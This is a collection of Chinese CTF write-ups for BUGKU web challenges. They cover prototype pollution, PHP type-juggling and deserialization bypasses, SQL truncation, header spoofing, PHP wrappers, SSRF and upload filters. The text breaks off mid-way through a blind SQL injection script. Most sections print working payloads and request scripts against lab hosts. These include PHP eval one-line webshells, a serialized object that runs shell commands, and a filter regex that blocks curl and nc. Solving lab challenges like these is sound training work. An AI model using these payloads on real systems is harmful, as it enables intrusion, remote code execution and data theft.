通过御剑目录扫描工具对靶场网站进行目录扫描,发现网站存在一个www.zip压缩文件。var express = require('express');const setFn = require('set-value');var router = express.Router();const Admin = { "password":process.env.password?process.env.password:"password"}
router.post("/getflag", function (req, res, next) { if (req.body.password === undefined || req.body.password === req.session.challenger.password){ res.send("登录失败"); }else{ if(req.session.challenger.age > 79){ res.send("糟老头子坏滴很"); } let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag ? process.env.flag : "flag{test}"); }else { res.send("密码错误,请使用管理员用户名登录."); } }
});router.get('/reg', function (req, res, next) { req.session.challenger = { "username": "user", "password": "pass", "age": 80 } res.send("用户创建成功!");});
router.get('/', function (req, res, next) { res.redirect('index');});router.get('/index', function (req, res, next) { res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');});router.post("/update", function (req, res, next) { if(req.session.challenger === undefined){ res.redirect('/reg'); }else{ if (req.body.attrkey === undefined || req.body.attrval === undefined) { res.send("传参有误"); }else { let key = req.body.attrkey.toString(); let value = req.body.attrval.toString(); setFn(req.session.challenger, key, value); res.send("修改成功"); } }});module.exports = router;发现set-value,存在原型链污染,poc地址:https://snyk.io/vuln/SNYK-JS-SETVALUE-450213对于js原型链污染,下面这篇讲得非常详细:
https://blog.csdn.net/weixin_45551083/article/details/109589386
poc:const setFn = require('set-value');
setFn({},'__proto__.p1',"hacked");
console.log({}.p1);
由源码分析可知:
1.发现路由"/reg"会创建一个challenger用户字典
2.发现路由"/update"可以对challenger传参键值对(attrkey和attrval),对challenger字典中进行修改
3.路由"/getflag"可以获取到flag,但存在几个验证,首先需要传参两个参数(key和password)进来,
并且对用户字典中的年龄进行判断,大于79会失败;其次Admin[key]需要等于password,其中passwod为我们控制的 ,而Admin[key] 我们不知道
因为age是一个已经存在的变量,所以可以用post传参去覆盖
data={"attrkey":"age","attrval":"10"}
update(url,data)
既然知道是原型链污染了,我们直接利用poc自定义一个password即可,而对于年龄,它是已经存在的变量,那我们就直接覆盖age变量
写一个脚本进行相对应的发送请求:
import requests
url = "http://114.67.246.176:14918"
headers = {'Content-Type': 'application/json' }
req = requests.session()
test = req.get(url+"/reg")
print(test.text)
r = req.post(url+"/update",json={"attrkey":"__proto__.pwd22","attrval":"pwd"},headers=headers)
print(r.text)
r = req.post(url+"/update",json={"attrkey":"age","attrval":10},headers=headers)
print(r.text)
r = req.post(url+"/getflag",json={"key":"pwd22","password":"pwd"},headers=headers)
print(r.text)
最终得到flag:flag{c4e0740412adbe631cd75aa35107e564}
题目名称:字符?正则?题目writeup:启动题目场景,获得靶场网站,访问网站主页,页面显示一段php代码得到的php 源码:<?php
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>简单代码分析:1.preg_match函数用于执行一个正则表达式匹配
2.trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符
3.基本思路:拆分->各个击破
"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"
/xxx/i 是PHP或Perl一类的语言中的正则表达式,其中xxx表示真正的正则表达式本身,而后面的i表示ignoreCase,即忽略大小写的意思。
所以真正的正则表达式:
key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]
接下来我用一个表格来说明:
至此,我们可以对这道题的正则表达式进行构造poc:
keyakeyaaaakey:/a/aakeyb!
http://114.67.246.176:16829/?id=keyakeyaaaakey:/a/aakeyb!
或者keyakeyaaaakey:/a/keya!和keyaakeyaaaaakey:/a/aakeya;http://114.67.246.176:16829/?id=keyakeyaaaakey:/a/keya!最终flag:flag{28230ec1a8c6c2fda4ddf555ba0a3152}
题目名称:前女友题目wiretup:启动题目场景,获得靶场网站,访问网站主页,页面显示一段文字内容。http://114.67.246.176:18724/对靶场主页源码进行查看,发现存在一个href的code.txt链接view-source:http://114.67.246.176:18724/访问code.txt,页面显示了一段php代码得到的php代码:<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
知识点有两个:
1、md5算法不能用来比较数组,如果是数组会返回NULL,也就是等值;
2、这个之前是真的没有注意过:strcmp函数
本来这个函数是用来比较字符串的,在php5.3版本以后,如果比较的一方是数组,函数会返回0,也就是说,匹配成功。
这里有php中的MD5漏洞及strcmp漏洞,php中以0e开头的字符串都统一看成0,而strcmp函数,如果传入的参数不是字符串的话,会默认报错,同时会直接认为相等。
可以看出是利用php中的md5()函数漏洞和strcmp()函数漏洞。PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会 认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。
满足v1v2的值不等但是md5相等且v3=flag才行
方法一:md5()函数漏洞获得flag
第一种
$_GET['a'] != $_GET['b']
&&
MD5($_GET['a']) == MD5($_GET['b'])
满足v1与v2不能相等,v1与v2的md5相等,可以利用md5函数的漏洞,PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
常用的有:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s1885207154a
s214587387a
s1091221200a
aabg7XS
第二种
$_POST['a1']!==$_POST['a2']
&&
md5($_POST['a1'])===md5($_POST['a2'])
=== 不仅比较值相等还会要求类型比较
但是,md5无法处理数组!所以构建数组就可以了
第三种
(string)$_POST['a1']!==(string)$_POST['a2']
&&
md5($_POST['a1'])===md5($_POST['a2'])
}
这里比较的是字符串
意思大致就是v1!=v2,md5值相等,之前提到过,是240610708和QNKCDZO,然后比较v3和flag,这里利用了strcmp的一个漏洞,不能比较数组,
构造url:
?v1=QNKCDZO&v2=240610708&v3[]=1
或者
?v1=s1885207154a&v2=s1091221200a&v3[]=1
http://114.67.246.176:18724/?v1=s1885207154a&v2=s1091221200a&v3[]=1
方法二:php strcmp()漏洞获得flag
在传入的参数类型不是字符串时会报错,但是却判定相等!当然此漏洞存在于老版本的php中
if (strcmp($_GET[‘a’], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
就是get 用a和flag比较,这里strcmp有一个bug就是如果比较的是数组的话,还是会返回一个0。
所以呢,此题的解法就是:
payload:
?v1[]=1&v2[]=2&v3[]=3
http://114.67.246.176:18724/?v1[]=1&v2[]=2&v3[]=3
或者
?v1=240610708 &&v2=314282422&&v3[]=1
http://114.67.246.176:18724/?v1=240610708&&v2=314282422&&v3[]=1
最终flag:flag{c0cdf447f5840858cca4371528d8be1c}
题目名称:login1
题目内容:hint:SQL约束攻击
题目writeup:
启动题目场景,获得靶场网站,访问网站主页,页面显示了一个登陆窗口。
http://114.67.246.176:14043/
按照正常流程,这里我们注册一个账号test1,密码Test123456,可注册成功在登录页面输入账号test,密码Test123456,页面显示“不是管理员还想看flag",说明我们需要拿到admin管理员的账号登录才能获得flag根据题目内容提示“hint:SQL约束攻击”那么sql约束攻击:1.在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。例:SELECT * FROM users WHERE username='vampire ';但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。2.在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。漏洞原理:假设数据库中存在一个admin,而且最大的限制长度是25,我们在注册的时候输入用户名admin[20个空格]1,密码随意输入。那么数据库在判断我们注册的用户名是否存在时,使用select语句,那么空格就会被删除,剩下admin1。这时因为数据库中只有admin,所以会被注册成新用户,但在注册的时候用的是insert语句,不删除空格,只取最大字符串,那么我们实际注册的用户名就是admin[20个空格]。
在登陆的时候select语句查找,以为查找的时候select回删除空格,就会返回两个admin,一条是真正的admin,另一条是admin[20个空格],那么我们就可以用admin和我们自己的密码登录了
所以就很好理解了,我们就注册个类似的admin账户让登录代码读入的时候读入的是假的admin账户信息,而回显的是真的admin信息
这里我们注册账号:admin (两空格) 密码:Admin1234,并用该账号登录,页面内容显示了flag内容
最终flag:
flag{7cf706aabc162d62d2f682188bcc2db4}
题目名称:你从哪里来
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面内容显示“你是来自谷歌?”
http://114.67.246.176:10815/
查看靶场网站主页源码,发现是空白,无利用点view-source:http://114.67.246.176:10815/通过御剑目录扫描工具对网站进行目录扫描只发现存在index.php,也没有可利用点联想到上文提示的“你是来自谷歌?”暗示我们需要通过Referer进行伪造google.com地址。Referer:http://www.google.com
最终得到flag:flag{baf01ae3898529c1dbd25c20db1f990e}
题目名称:MD5题目内容:md5 collision题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示“请输入参数a ",告诉我们这里的get请求参数构造为:?a=http://114.67.246.176:18776/这里将a参数变量任意赋值为1,提交发现页面内容为falsehttp://114.67.246.176:18776/?a=1这道题有点坑,并没有泄露源码出来,于是找到了这题的源码:<?php$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}";} else { echo "false!!!";}}else{echo "please input a";}?>将QNKCDZO进行md5加密后,得到值:0e830400451993494058024219903391,发现为0e开头,所以此处考虑MD5碰撞,就是经过md5加密后以0e开头的在进行‘==’运算时,php会认为他们都为0。
其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
常用的有:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s1885207154a
s214587387a
s1091221200a
aabg7XS
payload为:a=s1885207154a最终flag:flag{bdfa5876fbf4986996dcec0afdee5b41}
题目名称:程序员本地网站题目writeup:启动题目场景,获得靶场网站,访问网站,页面内容显示"请从本地访问!"告诉我们需要通过x-forwarded-for伪造本地IP地址http://114.67.246.176:10995/这里通过bupsuit对访问靶场网站主页进行抓包拦截,然后在http头部添加:x-forwarded-for:127.0.0.1,并发送请求包,在响应页面中可获得flag最终flag为:flag{42ba9bfb280899ba67541d8bc8f7aa5a}
题目场景:各种绕过哟
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面显示了一段php代码
http://114.67.246.176:16020/
得到的php代码:<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>通过阅读代码,我们发现要想得到flag就要达到下面三个条件:
- 使 uname的sha1值 与 passwd的sha1的值相等
- 但是同时 uname 和 passwd两个的值又不能相等
- id == "margin"
- GET传参id以及uname,POST传参passwd,要求id=margin
当uname和passwd的值不相等,且他们的sha1值相等和get传的id值为margin时,会得到flag
uname的sha1值 与 passwd的sha1的值相等需要利用sha1()不能处理数组的漏洞,如果传入的值为数组,则sha1会返回NULL,因此只需让uname和passwd都为数组,等式成为NULL===NULL,成立
构建payload:
?id=margin&uname[]=1
post:
passwd[]=2
最终flag为:flag{c4cb179ab6902db25c4e29f9d925451e}
题目名称:file_get_contents
题目writeup:
启动题目场景,获得靶场,访问靶场网站,得到一段php代码
http://114.67.246.176:18393/
得到的php代码:<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>大致意思就是要上传 ac和fn两个参数且ac的值等于fn文件内容的值
get一个file参数到file_get_contents()函数里,如果返回为指定字符串,就得到了flag
这时候就可以用到php伪协议的php://input
他的作用是可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。顺便记一下这个伪协议需要allow_url_include为on
这里涉及到一个file_get_contents()函数,而这个函数是可以绕过的方法一:使用php://input伪协议绕过① GET的参数为?ac=ab&fn=php://input② 用post方法传入想要file_get_contents()函数返回的值:abpost:ab
方法二:利用data://text/plain伪协议进行绕过data伪协议只有在php<5.3且include=on时可以写木马(PHP版本有限制)GET的参数为:?ac=flag&fn=data://text/plain,flaghttp://114.67.246.176:18393/?ac=flag&fn=data://text/plain,flag方法三:利用data://text/plain;base64伪协议进行绕过
和解法3一样,但是进行了base64编码,可以用来过一些简单的过滤GET的参数为:?ac=flag&fn=data://text/plain;base64,ZmxhZw==
最终flag:flag{75219fcb9d96e3722b64d12903a7ffb5}
题目名称:安慰奖题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面是空白http://114.67.246.176:11969/查看靶场网站主页源码,在注释中发现一个base64加密的字符串YmFja3Vwcw==解码得到:backups,告诉我们该网站中含有备份文件。
通过御剑目录扫描工具对靶场网站进行目录扫描,发现网站中存在index.php和 index.php.bk以及 flag.php文件。访问index.php.bk下载该文件,并在本地文件打开http://114.67.246.176:11969/index.php.bak得到的index.php源码为:<?php
header("Content-Type: text/html;charset=utf-8");error_reporting(0);echo "<!-- YmFja3Vwcw== -->";class ctf{ protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; }
function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } }} $select = $_GET['code']; $res=unserialize(@$select);?>首先需要了解php的一些魔术方法的性质:serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。__construct():PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。__destruct():PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。需要注意的是当访问控制符为private与protect时,序列化时比较特殊: protected属性被序列化的时候属性值会变成:%00*%00属性名private属性被序列化的时候属性值会变成:%00类名%00属性名
代码分析,construct方法可以让外部来的username和cmd变量替代内部的protected的username和cmd但是经过尝试,普通变量肯定不行,只好尝试权限比protected高的private变量当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行destruct方法过滤了一堆命令,但是两个反引号明显是存在远程命令调用的需要我们上传一个code参数,程序会对其反序列化,当判断username为admin时,会执行cmd内的代码。构造反序列化代码:<?phpclass ctf{ protected $username='admin'; protected $cmd='ls';}$a=new ctf();echo(serialize($a))?>运行得到序列化:https://tool.lu/coderunner序列化一个ctf对象,其中username,cmd必须是private变量,cmd命令用tac命令,用多于两个属性值的对象就可以禁用wakeup方法 O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";}
O :代表对象 因为我们序列化的是一个对象3 :代表类名字占三个字符ctf :类名2: 代表三个属性,因为需要绕过__wakeup()函数,所以比实际属性个数2大s:代表字符串11:代表属性名长度username: 属性名s:5:“admin”: 字符串 属性值长度 属性值protected属性被序列化的时候属性值会变成:%00类名%00属性名,而%00是空字符,在浏览器中会显示为空,但不代表传入时能没有%00,所以我们最后的payload应该加上%00O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}因为这里是protected所以是%00*%00共占三位
绕过_wakeup函数:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。绕过_wakeup()函数只需要将ctf后面的2改成比2大的值3即可,,最终payload:?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}http://114.67.246.176:11969/?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}发现flag.php,它还利用了正则过滤了许多系统命令,这里使用tac命令查看flag.php的文件内容。?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}http://114.67.246.176:11969/?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}最终获得flag:flag{Unser1alize_and_2CE_Add}
题目名称:文件上传题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示内容为"My name is margin,give me a image file not a php"告诉我们需要上传图片文件。http://114.67.246.176:14970/这里准备上传一句话图片木马2.jpg,且内容为:<?php @eval($_POST[cmd]); ?>通过bupsuit抓包,对其上传,可以看到成功上传2.jpg图片木马,说明该网站WAF不会坚持木马内容正常操作,先将下面文件的类型改为:image/jpeg,然后试试,不行,试了试"."和“;.jpg”,但是上传后都变成了jpg,那么先将上面的Content-Type的值修改一个为大写,文件扩展名从:php2, php3, php4, php5, phps, pht, phtm, phtml,挨个测试,发现.php4可以成功上传。因此:Content-Type: multipart/form-data; boundary=---------------------------265001916915724修改为Content-Type: Multipart/form-data; boundary=---------------------------265001916915724将2.jpg修改文1.php4可绕过上传限制,可成功上传1.php4上传的一句话后门文件路径为:upload/bugku25155937_7494.php4下面使用蚁剑远程连接一句话木马http://114.67.246.176:14970/upload/bugku25155937_7494.php4
在网站的根目录下存在flag文件查看flag文件,即可得到flag内容最终得到flag:flag{c8036b897db1f709036563db65be63fa}
题目名称:decrypt题目提示:Flag:{xxx}
题目内容: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
题目writeup:下载附件得到php.zip,对其解压得到index.phpindex.php的源码:<?phpfunction encrypt($data,$key){ $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str);}?>加密过程是把ISCC转换成一个md5值,然后把每一位放在一个数组里,然后和待解的flag里面的每一位相加相加模128,得到字符的ascii码,最后base64编码得到:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
解密的话就反着来,先base64解码,然后将结果每一位的ascii码值减去密钥的ascii码值,注意ascii码值需要在0-128之间,所以需要加上1个128然后再求模最后再转成字符,就得到flag
<?php $key = md5('ISCC'); $str = base64_decode('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='); $klen = strlen($key); $len = strlen($str); $x = 0; for ($i=0; $i < $len; $i++) { if ($x == $klen){ $x = 0; } $char .= $key[$x]; $x+=1; } for($i = 0; $i < $len; $i ++){ $data .= (ord($str[$i])-ord($char[$i]))>0?chr(ord($str[$i])-ord($char[$i])):chr(ord($str[$i])-ord($char[$i])+128); } print($data);?>https://tool.lu/coderunner或者# /usr/bin/python
import base64
def decrypt(str):
text1=base64.b64decode(str)
key='729623334f0aa2784a1599fd374c120d729623'
flag=''
for i in range(len(text1)):
flag +=chr((ord(text1[i])-ord(key[i])+128)%128)
#flag +=chr((text1[i]-ord(key[i])+128)%128)
print(flag)
if __name__ == '__main__':
str='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
decrypt(str)
最终flag:Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
题目名称:文件包含2题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示是一个文件包含。http://114.67.246.176:19436/index.php?file=hello.php查看靶场网站文件包含的源码,在注释中包含有upload.php文件,那么该文件是存在于靶场网站中。view-source:http://114.67.246.176:19436/index.php?file=hello.php这里包含upload.php,发现页面是一个文件上传功能。且只能上传jpg、gif、png图片文件格式,且文件大小不能超过100kbindex.php?file=hello.php尝试上传一句话图片木马2.jpg,其内容为:<?php @eval($_POST[cmd]); ?>,可以看到成功上传一句话图片木马。上传的一句话图片木马的路径地址:upload/202108250501423628.jpg访问一句话图片木马地址,并且下载到本地,打开图片,发现网站过滤了<?php 和 ?>http://114.67.246.176:19436/upload/202108250501423628.jpg
既然网站过滤<?php 和 ?>,那么可以上传以下一句话图片内容poc:<script language=php>echo 'a'; eval($_POST['pass']);</script>或者<script language=php>eval($_POST[shell])</script> 可以看到,成功上传一句户图片木马一句话图片上传的路径地址:upload/202108250507189932.jpg那么可以通过文件包含的形式去访问一句话图片木马地址:http://114.67.246.176:19436/index.php?file=upload/202108250507189932.jpg下面通过蚁剑远程连接一句话图片木马在网站的根目录下发现存在flag文件通过查看flag文件,可获得flag内容最终 flag为:flag{f5195471d8dfe034756f9cf8440b6574}
题目名称:需要管理员题目描述:好像需要管理员题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面内容显示404http://114.67.246.176:17514/通过御剑目录扫描工具对其靶场网站进行扫描,发现网站存在robots.txt文件访问robots.txt文件,发现网站包含隐藏了resusl.php文件。http://114.67.246.176:17514/robots.txt访问resusl.php文件http://114.67.246.176:17514/resusl.php页面显示了内容:"Warning:你不是管理员你的IP已经被记录到日志了,118.122.97.101"以及“if ($_GET[x]==$password) 此处省略1w字”根据页面内容提示“你不是管理员你的IP已经被记录到日志了”,猜测可能需要伪造请求源ip地址,这里在http请求头部添加X-Forwarded-For: 127.0.0.1,发送请求,在响应页面内容没有任何变化。
又根据上文提示:“if ($_GET[x]==$password) 此处省略1w字”,告诉我们需要构造get请求,以及参数为x,其参数值还未知。于是构造poc:然后访问,并通过bupsuit对其抓包拦截,最后fuzz爆破参数x的值 可以看到payload为admin的时候,得到flag值最终flag:flag{b63d2fe82e6fa83ca589bd57c7726bfc}
题目名称:newphp题目内容:flag{}题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示了一段php代码
得到的php代码:<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));首先在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,要构造触发这个evil类的序列化:<?phpclass evil{ public $hint="hint.php";}$a= new evil();var_dump(serialize($a));?>通过php在线工具运行 可得到evil类的序列化的值https://tool.lu/coderunner
得到evil类的序列化值:O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}绕过_wakeup需要将evil后面的数字更改为比原来的数字大(绕过_wakeup只需对象属性个数值比原来数字大)O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}但是看接入点,是post进去username和password两个参数,然后触发的是User类,然后在user类中有read()方法和write() 方法,这两个方法都是经过处理后才进行反序列化的这里就有一个漏洞了,php反序列化字符串逃逸php特性:1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的2.对类中不存在的属性也会进行反序列化漏洞原因:序列化的字符串在经过过滤函数不正确的处理而导致对象注入,详细的可以看下这篇文章(https://blog.csdn.net/dengyu810/article/details/103213750)user类触发的payload为:O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}这时候我们要逃逸的就是";s:8:"password";s:41:"共23个字符而每次添加一组\0\0\0可以逃逸三个字,所以肯定需要3的倍数,我们可以在password的值上再加一个任意字符,即可凑齐24个用8对进行逃逸,但是会触发wakeup函数,使我们的hint指向一个颜文字,利用wakeup函数漏洞,将属性个数从1改成2即可绕过,最终构造的payload为:payload:username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}构造POC:post: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
访问请求,得到的加密base64字符串:PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo=解密得到:<?php $hint = "index.cgi"; // You can't see me~
发现解密后的代码块中包含 index.cgi文件访问index.cgi文件,页面显示一段JSON格式的输出内容。
得到的json输出内容:{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-612754a1-06da11ef750abeea7211a11b" }, "origin": "114.67.246.176", "url": "http://httpbin.org/get?name=Bob"}在访问index.cgi得到的内容中包含了一个特殊的url地址http://httpbin.org/get?name=Bob,说明是来自 httpbin.org域名的访问,猜测是ssrf漏洞,且请求的参数为?name=Bob于是我们可以构造:来验证是否存在SSRF,可以看到请求的url地址是来自httpbin.org服务器端请求。证实靶机网站确实存在SSRF既然ssrf漏洞存在,那么就可以通过file协议来直接读取flag内容,发现一直在headers里面出不去
?name=file:///flaghttp://114.67.246.176:15516/index.cgi?name=file:///flag
那么就需要逃逸出headers,这里需要在file:///flag前加空格(%20),可直接读取flag文件内容?name=%20file:///flaghttp://114.67.246.176:15516/index.cgi?name=%20file:///flag
最终得到flag:flag{68021f3879a3662b925b4ce431208f05}
题目名称:点login咋没反应题目writeup:启动题目场景,获得靶场网站,发现页面是登录窗口,输入用户名和密码没有任何提示。http://114.67.246.176:13673/查看靶场网站源码,发现页面超链接了admin.css以及action提交的是#,就证实上面提交无反应的原因。view-source:http://114.67.246.176:13673/访问admin.css页面,发现在注释中存在"tre ?1094",告诉我们需要访问参数?1094http://114.67.246.176:13673/admin.css这里我们访问?1094参数,页面显示了一块php代码
得到的php代码:<?php
error_reporting(0); //关闭错误报告
$KEY='ctf.bugku.com'; //把字符串的值赋值给变量key
include_once("flag.php"); //在脚本执行期间包含运行flag.php
$cookie = $_COOKIE['BUGKU']; //通过 HTTP Cookies方式传递给当前脚本的cookie变量的BUGKU数组
if(isset($_GET['24146'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") //判断cookie值反序列化后的值与ctf.bugku.com是否相同,若unserialize($cookie)全等于$KEY,这里注意有双引号,大体意思是:cookie的参数为BUGKU,值为$KEY的序列化
{
echo "$flag"; //相同则输出flag
}
根据代码分析可知,当elseif (unserialize($cookie) === "$KEY") 时,即得flag。且$cookie=COOKIE[‘BUGKU’]大致就是当传入的cookie参数BUGKU的值反序列化后等于KEY就输出Flag:下面构造key的反序化:<?php$KEY='ctf.bugku.com';echo serialize($KEY);
通过在线php运行得到key反序化的值https://tool.lu/coderunner得到的key序列化值:s:13:"ctf.bugku.com";访问靶场网站主页,然后通过burpsuit对其抓包,然后再http请求头部中添加Cookie: BUGKU=s:13:"ctf.bugku.com";(cookie的参数为BUGKU,值为$KEY的序列化), 并发送请求,在响应页面中可得到flag;BUGKU=s:13:"ctf.bugku.com";最终flag:flag{3e2a7b8bbc39dc51af6e2a82b5bc6705}
题目名称:都过滤了题目描述:!,!=,=,+,-,^,%全都过滤了绝望吗?
题目writeup:启动题目场景获得靶场网站,发现页面是一个登陆窗口。http://114.67.246.176:19515/index.php输入admin用户,密码任意,发现密码错误,证明admin用户存在靶场系统中,但是不知道密码是多少。
输入用户admin' 密码任意,显示username错误,说明单引号没被过滤
输入用户admin'#密码任意,发现过滤了,那#用不了,试了试--+都被过滤。同时使用dirsearch.py脚本对靶场网站目录进行扫描,发现存在一个特殊的images目录python3 dirsearch.py -u http://114.67.246.176:19515/访问imagses目录,存在一张1.png图片http://114.67.246.176:19515/images/
图片内容中提示0=0也就是永真,所以可以爆出所有的用户名。
根据题目描述提示”!,!=,=,+,-,^,%”这些符号都没被过滤 ,那么异或(^)或者-号以及单引号都没过滤,使用脚本异或注入跑出flag:
# -*- coding: utf-8 -*-
import requests
session = requests.Session()
url="http://114.67.246.176:19515/login.php"
flag=''
for i in range(1,250):
left=32
right=128
mid=(left+right)//2
while(left<right):
